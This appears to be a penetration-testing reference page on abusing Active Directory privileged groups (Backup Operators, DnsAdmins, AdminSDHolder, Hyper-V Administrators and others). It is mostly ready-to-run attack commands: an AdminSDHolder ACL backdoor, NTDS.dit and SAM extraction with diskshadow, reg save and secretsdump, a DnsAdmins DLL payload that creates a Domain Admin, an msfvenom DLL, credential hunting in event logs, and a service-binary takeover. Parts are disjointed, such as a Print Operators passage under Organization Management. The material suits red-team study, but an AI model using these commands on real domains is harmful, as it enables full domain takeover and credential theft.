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Privileged Groups

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Known groups with administration privileges

  • Administrators
  • Domain Admins
  • Enterprise Admins
There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors.

Account Operators

  • Allows creating non administrator accounts and groups on the domain
  • Allows logging in to the DC locally
Get members of the group:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Note the spotless' user membership:
However, we can still add new users:
As well as login to DC01 locally:

AdminSDHolder group

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group AdminSDHolder for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour). And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group.
Get members of the group:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Check if the user is inside the Domain Admins group:
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
If you don't want to wait an hour you can use a PS script to make the restore happen instantly: https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

AD Recycle Bin

This group gives you permission to read deleted AD object. Something juicy information can be found in there:
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Domain Controller Access

Note how we cannot access files on the DC with current membership:
However, if the user belongs to Server Operators:
The story changes:

Privesc

Use PsService or sc, form Sysinternals, to check permissions on a service.
C:\> .\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
[...]
[ALLOW] BUILTIN\Server Operators
All
This confirms that the Server Operators group has SERVICE_ALL_ACCESS access right, which gives us full control over this service. You can abuse this service to make the service execute arbitrary commands and escalate privileges.

Backup Operators

As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators.
This is because this group grants its members the SeBackup and SeRestore privileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if nothing else is giving you permissions. However, to abuse this permissions to copy a file the flag FILE_FLAG_BACKUP_SEMANTICS must be used. Therefore, special tools are needed.
For this purpose you can use these scripts.
Get members of the group:
Get-NetGroupMember -Identity "Backup Operators" -Recurse

Local Attack

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled
# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

For instance, you can directly access the Domain Controller file system:
You can abuse this access to steal the active directory database NTDS.dit to get all the NTLM hashes for all user and computer objects in the domain.
Using diskshadow you can create a shadow copy of the C drive and in the F drive for example. The, you can steal the NTDS.dit file from this shadow copy as it won't be in use by the system:
diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 10:34:16 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit
As in the local attack, you can now copy the privileged file NTDS.dit:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Another way to copy files is using robocopy:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
Then, you can easily steal the SYSTEM and SAM:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
Finally you can get all the hashes from the NTDS.dit:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

A user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server. This is really interesting as the Domain Controllers are used very frequently as DNS servers.
As shown in this post, the following attack can be performed when DNS is run on a Domain Controller (which is very common):
  • DNS management is performed over RPC
  • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line
  • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated
  • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
  • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.
Get members of the group:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Execute arbitrary DLL

Then, if you have a user inside the DNSAdmins group, you can make the DNS server load an arbitrary DLL with SYSTEM privileges (DNS service runs as NT AUTHORITY\SYSTEM). You can make the DNS server load a local or remote (shared by SMB) DLL file executing:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An example of a valid DLL can be found in https://github.com/kazkansouh/DNSAdmin-DLL. I would change the code of the function DnsPluginInitialize to something like:
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
Or you could generate a dll using msfvenom:
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
So, when the DNSservice start or restart, a new user will be created.
Even having a user inside DNSAdmin group you by default cannot stop and restart the DNS service. But you can always try doing:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Mimilib.dll

As detailed in this post, It's also possible to use mimilib.dll from the creator of the Mimikatz tool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.

WPAD Record for MitM

Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to disable global query block security, which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server. By default, Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list. These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.
After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

Event Log Readers

Members of the Event Log Readers group have permission to access the event logs generated (such as the new process creation logs). In the logs sensitive information could be found. Let's see how to visualize the logs:
#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"
# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"
# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows Permissions

Members are granted the ability to write a DACL to the domain object. An attacker could abuse this to give a user DCSync privileges. If Microsoft Exchange is installed in the AD environment, It is common to find user accounts and even computers as members of this group.
This GitHub repo explains a few techniques to escalate privileges abusing this group permissions.
#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

The Hyper-V Administrators group has full access to all Hyper-V features. If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins. They could easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.
It is also well documented on this blog, that upon deleting a virtual machine, vmms.exe attempts to restore the original file permissions on the corresponding .vhdx file and does so as NT AUTHORITY\SYSTEM, without impersonating the user. We can delete the .vhdx file and create a native hard link to point this file to a protected SYSTEM file, and you will be given full permissions to.
If the operating system is vulnerable to CVE-2018-0952 or CVE-2019-0841, we can leverage this to gain SYSTEM privileges. Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

Exploitation Example

An example of this is Firefox, which installs the Mozilla Maintenance Service. We can update this exploit (a proof-of-concept for NT hard link) to grant our current user full permissions on the file below:
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Taking Ownership of the File

After running the PowerShell script, we should have full control of this file and can take ownership of it.
C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Starting the Mozilla Maintenance Service

Next, we can replace this file with a malicious maintenanceservice.exe, start the maintenance service, and get command execution as SYSTEM.
C:\htb> sc.exe start MozillaMaintenance
This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.

Organization Management

This group is also in environments with Microsoft Exchange installed. members of this group can access the mailboxes of all domain users. This group also has full control of the OU called Microsoft Exchange Security Groups, which contains the group Exchange Windows Permissions (follow the link to see how to abuse this group to privesc).
The members of this gorup are granted:
  • Log on locally to a Domain Controller and shut it down
  • Permissions to manage, create, share, and delete printers connected to a Domain Controller
If the command whoami /priv, doesn't show the SeLoadDriverPrivilege from an unelevated context, you need to bypass UAC.
Get members of the group:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Check in this page how to abuse the SeLoadDriverPrivilege to privesc:

Remote Desktop Users

Members of this group can access the PCs over RDP. Get members of the group:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
More info about RDP:

Remote Management Users

Members of this group can access PCs over WinRM.
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
More info about WinRM:

Server Operators

This membership allows users to configure Domain Controllers with the following privileges:
  • Allow log on locally
  • Back up files and directories
  • Change the system time
  • Change the time zone
  • Force shutdown from a remote system
  • Restore files and directories
  • Shut down the system
  • control local services
Get members of the group:
Get-NetGroupMember -Identity "Server Operators" -Recurse

References

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